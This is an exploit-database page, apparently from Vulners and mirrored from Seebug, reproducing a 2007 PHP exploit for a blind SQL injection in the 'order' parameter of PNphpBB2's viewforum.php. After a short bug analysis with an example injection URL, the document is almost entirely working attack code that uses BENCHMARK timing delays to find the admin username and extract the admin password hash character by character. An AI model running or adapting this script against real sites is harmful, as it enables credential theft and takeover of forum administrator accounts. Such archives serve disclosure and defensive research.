Lucene search
K

PNphpBB2 <= 1.2i viewforum.php Remote SQL Injection Exploit

🗓️ 04 Jul 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

PNphpBB2 "viewforum.php" SQL Injection Blind Password Hash Fishing Exploit. Exploits a vulnerability in versions PNphpBB2 <= 1.2i to extract password hashes using SQL injection through 'viewforum.php'. Requires at least 2 forum posts

Code

                                                /*
[i]&nbsp;PNphpBB2&nbsp;&quot;viewforum.php&quot;&nbsp;SQL&nbsp;Injection&nbsp;Blind&nbsp;Password&nbsp;Hash&nbsp;Fishing&nbsp;Exploit
[i]&nbsp;Vulnerable&nbsp;versions:&nbsp;PNphpBB2&nbsp;&lt;=&nbsp;1.2i&nbsp;(current&nbsp;last&nbsp;version)
[i]&nbsp;Bug&nbsp;discovered&nbsp;by:&nbsp;Coloss
[i]&nbsp;Exploit&nbsp;by:&nbsp;Coloss
[i]&nbsp;Date:&nbsp;03.07.2007

[Notes]
[-&gt;]&nbsp;You&nbsp;need&nbsp;at&nbsp;least&nbsp;2&nbsp;posts&nbsp;in&nbsp;the&nbsp;forum.
[-&gt;]&nbsp;Thanks&nbsp;to&nbsp;waraxe&nbsp;for&nbsp;exploit&nbsp;structure...&nbsp;I&nbsp;have&nbsp;saved&nbsp;much&nbsp;time&nbsp;:)

[Tested]
[-&gt;]&nbsp;Postnuke&nbsp;0.764&nbsp;with&nbsp;PNphpBB2&nbsp;1.2i&nbsp;and&nbsp;MySQL&nbsp;5.0.42
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Maybe&nbsp;with&nbsp;other&nbsp;MySQL&nbsp;versions&nbsp;SQL&nbsp;Query&nbsp;should&nbsp;be&nbsp;slightly&nbsp;different

[Bug&nbsp;Analysis]

File:&nbsp;viewforum.php

&nbsp;&nbsp;&nbsp;387&nbsp;&nbsp;if&nbsp;(&nbsp;isset($HTTP_GET_VARS['order'])&nbsp;||&nbsp;isset($HTTP_POST_VARS['order'])&nbsp;)
&nbsp;&nbsp;&nbsp;388&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;389&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sort_order&nbsp;=&nbsp;isset($HTTP_GET_VARS['order'])&nbsp;?&nbsp;$HTTP_GET_VARS['order']&nbsp;:&nbsp;$HTTP_POST_VARS['order'];
&nbsp;&nbsp;&nbsp;390&nbsp;&nbsp;}

We&nbsp;can&nbsp;handle&nbsp;'$sort_order'...

&nbsp;&nbsp;&nbsp;415&nbsp;&nbsp;$sql&nbsp;=&nbsp;&quot;SELECT&nbsp;t.*,&nbsp;u.username,&nbsp;u.user_id,&nbsp;u2.username&nbsp;as&nbsp;user2,&nbsp;u2.user_id&nbsp;as&nbsp;id2,&nbsp;p.post_username,&nbsp;p2.post_username&nbsp;AS&nbsp;post_username2,&nbsp;p2.post_time
&nbsp;&nbsp;&nbsp;416&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FROM&nbsp;&quot;&nbsp;.&nbsp;TOPICS_TABLE&nbsp;.&nbsp;&quot;&nbsp;t,&nbsp;&quot;&nbsp;.&nbsp;USERS_TABLE&nbsp;.&nbsp;&quot;&nbsp;u,&nbsp;&quot;&nbsp;.&nbsp;POSTS_TABLE&nbsp;.&nbsp;&quot;&nbsp;p,&nbsp;&quot;&nbsp;.&nbsp;POSTS_TABLE&nbsp;.&nbsp;&quot;&nbsp;p2,&nbsp;&quot;&nbsp;.&nbsp;USERS_TABLE&nbsp;.&nbsp;&quot;&nbsp;u2
&nbsp;&nbsp;&nbsp;417&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE&nbsp;t.forum_id&nbsp;=&nbsp;$forum_id
&nbsp;&nbsp;&nbsp;418&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AND&nbsp;t.topic_poster&nbsp;=&nbsp;u.user_id
&nbsp;&nbsp;&nbsp;419&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AND&nbsp;p.post_id&nbsp;=&nbsp;t.topic_first_post_id
&nbsp;&nbsp;&nbsp;420&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AND&nbsp;p2.post_id&nbsp;=&nbsp;t.topic_last_post_id
&nbsp;&nbsp;&nbsp;421&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AND&nbsp;u2.user_id&nbsp;=&nbsp;p2.poster_id
&nbsp;&nbsp;&nbsp;422&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AND&nbsp;t.topic_type&nbsp;&lt;&gt;&nbsp;&quot;&nbsp;.&nbsp;POST_ANNOUNCE&nbsp;.&nbsp;&quot;
&nbsp;&nbsp;&nbsp;423&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$limit_topics_time
&nbsp;&nbsp;&nbsp;424&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ORDER&nbsp;BY&nbsp;t.topic_type&nbsp;DESC,&nbsp;$sort_method&nbsp;$sort_order
&nbsp;&nbsp;&nbsp;425&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LIMIT&nbsp;$start,&nbsp;&quot;.$board_config['topics_per_page'];

...&nbsp;and&nbsp;this&nbsp;value&nbsp;is&nbsp;used&nbsp;without&nbsp;any&nbsp;check&nbsp;in&nbsp;the&nbsp;sql&nbsp;query.^

The&nbsp;only&nbsp;&quot;problem&quot;&nbsp;could&nbsp;be&nbsp;that&nbsp;the&nbsp;SQL&nbsp;injection&nbsp;is&nbsp;only&nbsp;possible&nbsp;after&nbsp;an&nbsp;'ORDER&nbsp;BY'&nbsp;statement...&nbsp;but&nbsp;we&nbsp;should&nbsp;be&nbsp;able&nbsp;(with&nbsp;appropriate&nbsp;MySQL&nbsp;version)&nbsp;to&nbsp;inject&nbsp;a&nbsp;subquery.

In&nbsp;this&nbsp;case&nbsp;we&nbsp;can&nbsp;request&nbsp;something&nbsp;like&nbsp;this:&nbsp;
http://www.site.com/postnuke/?module=PNphpBB2&amp;file=viewforum&amp;f=1&amp;order=ASC,&nbsp;(SELECT&nbsp;user_password&nbsp;FROM&nbsp;pn_phpbb_users&nbsp;WHERE&nbsp;user_id=2&nbsp;AND&nbsp;IF(ORD(SUBSTR(user_password,1,1))&gt;52,BENCHMARK(2500000,MD5(71337)),1))

With&nbsp;this&nbsp;kind&nbsp;of&nbsp;query&nbsp;we&nbsp;can&nbsp;use&nbsp;an&nbsp;'if'&nbsp;statement&nbsp;to&nbsp;discover&nbsp;each&nbsp;character&nbsp;of&nbsp;the&nbsp;admin's&nbsp;password&nbsp;hash,&nbsp;analyzing&nbsp;the&nbsp;delay&nbsp;time&nbsp;of&nbsp;server's&nbsp;answers.
In&nbsp;fact&nbsp;if&nbsp;the&nbsp;'if'&nbsp;statement&nbsp;results&nbsp;true&nbsp;(ORD()&nbsp;returns&nbsp;the&nbsp;ascii&nbsp;value&nbsp;of&nbsp;a&nbsp;character)&nbsp;the&nbsp;md5()&nbsp;function&nbsp;'ll&nbsp;be&nbsp;repeated&nbsp;2500000&nbsp;times&nbsp;and&nbsp;you&nbsp;'ll&nbsp;get&nbsp;a&nbsp;big&nbsp;delay.

For&nbsp;more&nbsp;informations&nbsp;study&nbsp;the&nbsp;SQL&nbsp;Functions&nbsp;list.
*/

$testcnt&nbsp;=&nbsp;300000;				//&nbsp;Use&nbsp;bigger&nbsp;numbers,&nbsp;if&nbsp;server&nbsp;is&nbsp;slow
$fid&nbsp;=&nbsp;1;					//&nbsp;Forum&nbsp;ID
$prefix&nbsp;=&nbsp;&quot;pn_&quot;;				//&nbsp;SQL&nbsp;Table&nbsp;prefix
$adminid&nbsp;=&nbsp;2;					//&nbsp;Admin&nbsp;user&nbsp;id,&nbsp;default:&nbsp;2

$opts&nbsp;=&nbsp;getopt(&quot;u:f:U:P:o:&quot;);

print&nbsp;
&quot;[i]&nbsp;PNphpBB2&nbsp;\&quot;viewforum.php\&quot;&nbsp;SQL&nbsp;Injection&nbsp;Blind&nbsp;Password&nbsp;Hash&nbsp;Fishing&nbsp;Exploit
[i]&nbsp;Vulnerable&nbsp;versions:&nbsp;PNphpBB2&nbsp;&lt;=&nbsp;1.2i&nbsp;(current&nbsp;last&nbsp;version)
[i]&nbsp;Bug&nbsp;discovered&nbsp;by:&nbsp;Coloss
[i]&nbsp;Exploit&nbsp;by:&nbsp;Coloss
[i]&nbsp;Date:&nbsp;03.07.2007\n\n&quot;;


if&nbsp;($opts[u]&nbsp;==&nbsp;'')
	die&nbsp;(help($argv[0]));

if&nbsp;(strncmp($opts[u],&nbsp;&quot;http&quot;,4))
	$url&nbsp;=&nbsp;'http://'.$opts[u];
else
	$url&nbsp;=&nbsp;$opts[u];

if&nbsp;($opts[U])
	$user&nbsp;=&nbsp;$opts[U];
if&nbsp;($opts[P])
	$hash&nbsp;=&nbsp;$opts[P];
if&nbsp;($opts[o])
	$file&nbsp;=&nbsp;$opts[o];
if&nbsp;($opts[f])
	$fid&nbsp;=&nbsp;(int)&nbsp;$opts[f];

echo&nbsp;&quot;[+]&nbsp;Target:&nbsp;$url\n&quot;;

$norm_delay&nbsp;=&nbsp;0;
echo&nbsp;&quot;[+]&nbsp;Testing&nbsp;probe&nbsp;delays...&nbsp;\n&quot;;&nbsp;
$norm_delay&nbsp;=&nbsp;get_normdelay($testcnt);
echo&nbsp;&quot;[-]&nbsp;Normal&nbsp;delay:&nbsp;$norm_delay&nbsp;deciseconds\n&quot;;

if&nbsp;(!$user)&nbsp;{
	echo&nbsp;&quot;[+]&nbsp;Trying&nbsp;to&nbsp;find&nbsp;admin&nbsp;username...&nbsp;&quot;;
	$user&nbsp;=&nbsp;find_username();
}

$field&nbsp;=&nbsp;'user_password';

if&nbsp;(!$hash)&nbsp;{
	echo&nbsp;&quot;\n[+]&nbsp;Trying&nbsp;to&nbsp;find&nbsp;Password&nbsp;MD5&nbsp;Hash...\n\n&quot;;
	$hash&nbsp;=&nbsp;get_hash();
}

echo&quot;[-]&nbsp;Finished!\n&quot;;

owrite(&quot;\n[-&gt;]&nbsp;Target:&nbsp;$url\n&quot;);
owrite(&quot;[-&gt;]&nbsp;Username:&nbsp;$user\n&quot;);
owrite(&quot;[-&gt;]&nbsp;Password&nbsp;MD5&nbsp;Hash:&nbsp;$hash\n&quot;);

function&nbsp;get_hash()
{
	global&nbsp;$field;

	$len&nbsp;=&nbsp;32;
	$out&nbsp;=&nbsp;'';
&nbsp;&nbsp;&nbsp;
	for($i&nbsp;=&nbsp;1;&nbsp;$i&nbsp;&lt;&nbsp;$len&nbsp;+&nbsp;1;&nbsp;$i&nbsp;++)&nbsp;{
		$ch&nbsp;=&nbsp;get_hashchar($i);
		$out&nbsp;.=&nbsp;&quot;$ch&quot;;
		echo&nbsp;&quot;[-&gt;]&nbsp;Current&nbsp;'$field'&nbsp;($i):&nbsp;$out&nbsp;\n&quot;;
	}
	echo&nbsp;&quot;\n[-]&nbsp;Found&nbsp;Password&nbsp;Hash:&nbsp;$out\n\n&quot;;
	return&nbsp;$out;
}


function&nbsp;get_hashchar($pos)
{
	global&nbsp;$fid,&nbsp;$testcnt,&nbsp;$field,&nbsp;$adminid,&nbsp;$prefix;
	$char&nbsp;=&nbsp;'';
	$cnt&nbsp;=&nbsp;$testcnt&nbsp;*&nbsp;5;

	$sql&nbsp;=&nbsp;&quot;ASC,&nbsp;(SELECT&nbsp;&quot;.$field.&quot;&nbsp;FROM&nbsp;&quot;.$prefix.&quot;phpbb_users&nbsp;WHERE&nbsp;user_id=&quot;.$adminid.&quot;&nbsp;AND&nbsp;IF(ORD(SUBSTR(&quot;.$field.&quot;,&quot;.$pos.&quot;,1))%s,BENCHMARK(&quot;.$cnt.&quot;,MD5(71337)),1))&quot;;
	$post&nbsp;=&nbsp;&quot;name=PNphpBB2&amp;file=viewforum&amp;f=&quot;.$fid.&quot;&amp;order=&quot;.$sql;

	$req&nbsp;=&nbsp;sprintf($post,&nbsp;&quot;&gt;57&quot;);
	
	$letter&nbsp;=&nbsp;test_condition($req);

	if&nbsp;($letter)&nbsp;{
		$min&nbsp;=&nbsp;97;
		$max&nbsp;=&nbsp;102;
	}
	else&nbsp;{
		$min&nbsp;=&nbsp;48;
		$max&nbsp;=&nbsp;57;
	}

	$curr&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;
	while(1)&nbsp;{
		$area&nbsp;=&nbsp;$max&nbsp;-&nbsp;$min;
		if&nbsp;($area&nbsp;&lt;&nbsp;2&nbsp;)&nbsp;{
			$req&nbsp;=&nbsp;sprintf($post,&nbsp;&quot;=$max&quot;);

			$eq&nbsp;=&nbsp;test_condition($req);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			if($eq)
				$char&nbsp;=&nbsp;chr($max);
			else
				$char&nbsp;=&nbsp;chr($min);
			break;
		}

		$half&nbsp;=&nbsp;intval(floor($area&nbsp;/&nbsp;2));
		$curr&nbsp;=&nbsp;$min&nbsp;+&nbsp;$half;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		$req&nbsp;=&nbsp;sprintf($post,&nbsp;&quot;&gt;$curr&quot;);
		echo&nbsp;$req;

		$bigger&nbsp;=&nbsp;test_condition($req);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		if&nbsp;($bigger)
			$min&nbsp;=&nbsp;$curr;
		else
			$max&nbsp;=&nbsp;$curr;
	}
	return&nbsp;$char;
}

function&nbsp;test_condition($req)
{
	global&nbsp;$url,&nbsp;$norm_delay;

	$bool&nbsp;=&nbsp;false;
&nbsp;&nbsp;&nbsp;
	$start&nbsp;=&nbsp;getmicrotime();
	$buff&nbsp;=&nbsp;Send($url,&nbsp;$req);
	$end&nbsp;=&nbsp;getmicrotime();

	$diff&nbsp;=&nbsp;$end&nbsp;-&nbsp;$start;
	$delay&nbsp;=&nbsp;intval($diff&nbsp;*&nbsp;10);
&nbsp;&nbsp;&nbsp;
	if&nbsp;($delay&nbsp;&gt;&nbsp;($norm_delay&nbsp;*&nbsp;2))
		$bool&nbsp;=&nbsp;true;
	return&nbsp;$bool;
}


function&nbsp;get_normdelay($testcnt)
{
	$nda&nbsp;=&nbsp;test_md5delay(1);
	$da&nbsp;=&nbsp;test_md5delay($testcnt);
	$ndb&nbsp;=&nbsp;test_md5delay(1);
	$db&nbsp;=&nbsp;test_md5delay($testcnt);
	$ndc&nbsp;=&nbsp;test_md5delay(1);
	$dc&nbsp;=&nbsp;test_md5delay($testcnt);

	$mean_delayed&nbsp;=&nbsp;intval(($da&nbsp;+&nbsp;$db&nbsp;+&nbsp;$dc)&nbsp;/&nbsp;3);
&nbsp;&nbsp;&nbsp;
	return&nbsp;$mean_delayed;
}

function&nbsp;test_md5delay($cnt)
{
	global&nbsp;$url,&nbsp;$fid,&nbsp;$prefix,&nbsp;$adminid,&nbsp;$prefix;
&nbsp;&nbsp;&nbsp;
	$delay&nbsp;=&nbsp;-1;
	
	$sql&nbsp;=&nbsp;&quot;ASC,&nbsp;(SELECT&nbsp;user_password&nbsp;FROM&nbsp;&quot;.$prefix.&quot;phpbb_users&nbsp;WHERE&nbsp;u.user_id=&quot;.$adminid.&quot;&nbsp;AND&nbsp;IF(LENGTH(user_password)&gt;31,BENCHMARK(&quot;.$cnt.&quot;,MD5(71337)),1))&quot;;
	$req&nbsp;=&nbsp;&quot;name=PNphpBB2&amp;file=viewforum&amp;f=&quot;.$fid.&quot;&amp;order=&quot;.$sql;

	$start&nbsp;=&nbsp;getmicrotime();
	$buff&nbsp;=&nbsp;Send($url,&nbsp;$req);
	$end&nbsp;=&nbsp;getmicrotime();

	if&nbsp;(strstr($buff,&nbsp;&quot;Could&nbsp;not&nbsp;obtain&nbsp;topic&nbsp;information&quot;))
		die(&quot;[X]&nbsp;Something&nbsp;is&nbsp;wrong...&nbsp;(maybe&nbsp;SQL&nbsp;Query)\n&quot;);
	else&nbsp;if&nbsp;(strstr($buff,&nbsp;&quot;The&nbsp;forum&nbsp;you&nbsp;selected&nbsp;does&nbsp;not&nbsp;exist&quot;))
		die(&quot;[X]&nbsp;The&nbsp;Forum&nbsp;doesn't&nbsp;exist..&nbsp;change&nbsp;'fid'&nbsp;value\n&quot;);

	$diff&nbsp;=&nbsp;$end&nbsp;-&nbsp;$start;
	$delay&nbsp;=&nbsp;intval($diff&nbsp;*&nbsp;10);

	return&nbsp;$delay;
}

function&nbsp;getmicrotime()
{
	list($usec,&nbsp;$sec)&nbsp;=&nbsp;explode(&quot;&nbsp;&quot;,&nbsp;microtime());
	return&nbsp;((float)$usec&nbsp;+&nbsp;(float)$sec);
}

function&nbsp;Send($url,&nbsp;$req='')
{
	$ch&nbsp;=&nbsp;curl_init();

	curl_setopt&nbsp;($ch,&nbsp;CURLOPT_URL,&nbsp;$url);
	curl_setopt&nbsp;($ch,&nbsp;CURLOPT_RETURNTRANSFER,&nbsp;1);
	curl_setopt&nbsp;($ch,&nbsp;CURLOPT_CONNECTTIMEOUT,&nbsp;60);

	if&nbsp;($req)&nbsp;{
		curl_setopt($ch,&nbsp;CURLOPT_POST,&nbsp;1);
		curl_setopt($ch,&nbsp;CURLOPT_POSTFIELDS,&nbsp;$req);
	}

	curl_setopt($ch,&nbsp;CURLOPT_FOLLOWLOCATION,&nbsp;0);
	curl_setopt($ch,&nbsp;CURLOPT_USERAGENT,&nbsp;'Mozilla/5.0');

	curl_setopt($ch,&nbsp;CURLOPT_SSL_VERIFYPEER,&nbsp;FALSE);

	$html&nbsp;=&nbsp;curl_exec($ch);
	curl_close($ch);
&nbsp;&nbsp;&nbsp;
	return&nbsp;$html;
}


function&nbsp;help&nbsp;($prog)
{
	print&nbsp;&quot;[-]&nbsp;Usage:&nbsp;$prog&nbsp;
	&nbsp;-u&nbsp;&nbsp;&lt;url&gt;	-&gt;&nbsp;Sets&nbsp;Target&nbsp;url
	[-f]&nbsp;&lt;id&gt;	-&gt;&nbsp;Sets&nbsp;forum&nbsp;id
	[-U]&nbsp;&lt;user&gt;	-&gt;&nbsp;Sets&nbsp;username
	[-P]&nbsp;&lt;pass&gt;	-&gt;&nbsp;Sets&nbsp;password
	[-o]&nbsp;&lt;file&gt;	-&gt;&nbsp;Writes&nbsp;results&nbsp;to&nbsp;a&nbsp;file\n&quot;;
}


function&nbsp;owrite&nbsp;($msg)
{
	global&nbsp;$file;

	echo&nbsp;$msg;

	if&nbsp;($file)&nbsp;{
		if&nbsp;(!($h&nbsp;=&nbsp;fopen($file,&nbsp;'ab')))&nbsp;{
			echo&nbsp;&quot;[X]&nbsp;Cannot&nbsp;open&nbsp;'$file'\n&quot;;
			return;
		}
		if&nbsp;(fwrite($h,&nbsp;$msg)&nbsp;===&nbsp;FALSE)
			echo&nbsp;&quot;[X]&nbsp;Cannot&nbsp;write&nbsp;to&nbsp;'$file'\n&quot;;
		fclose($h);
	}
}	

function&nbsp;find_username&nbsp;()
{
	global&nbsp;$url,&nbsp;$fid,&nbsp;$adminid;

	$req&nbsp;=&nbsp;&quot;name=PNphpBB2&amp;file=viewforum&amp;f=&quot;.$fid;
	$str&nbsp;=&nbsp;&quot;file=profile&amp;amp;mode=viewprofile&amp;amp;u=&quot;.$adminid;

	$html&nbsp;=&nbsp;Send($url,&nbsp;$req);

	if&nbsp;(strstr($html,&nbsp;$str))&nbsp;{
		$u&nbsp;=&nbsp;substr($html,strpos($html,$str)+strlen($str),strpos(substr($html,strpos($html,$str)+strlen($str),strlen($html)),&nbsp;&quot;&lt;&quot;));
		$u&nbsp;=&nbsp;substr($u,&nbsp;strpos($u,&nbsp;&quot;&gt;&quot;)+1,&nbsp;strlen($u)-strpos($u,&nbsp;&quot;&gt;&quot;));
		echo&nbsp;&quot;found:&nbsp;'$u'\n&quot;;
	}
	else
		echo&nbsp;&quot;failed:&nbsp;probably&nbsp;he&nbsp;has&nbsp;not&nbsp;posted&nbsp;in&nbsp;this&nbsp;forum&nbsp;(or&nbsp;maybe&nbsp;he&nbsp;has&nbsp;a&nbsp;different&nbsp;user&nbsp;id)\n&quot;;
	return&nbsp;$u;
}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jul 2007 00:00Current
7.1High risk
Vulners AI Score7.1
20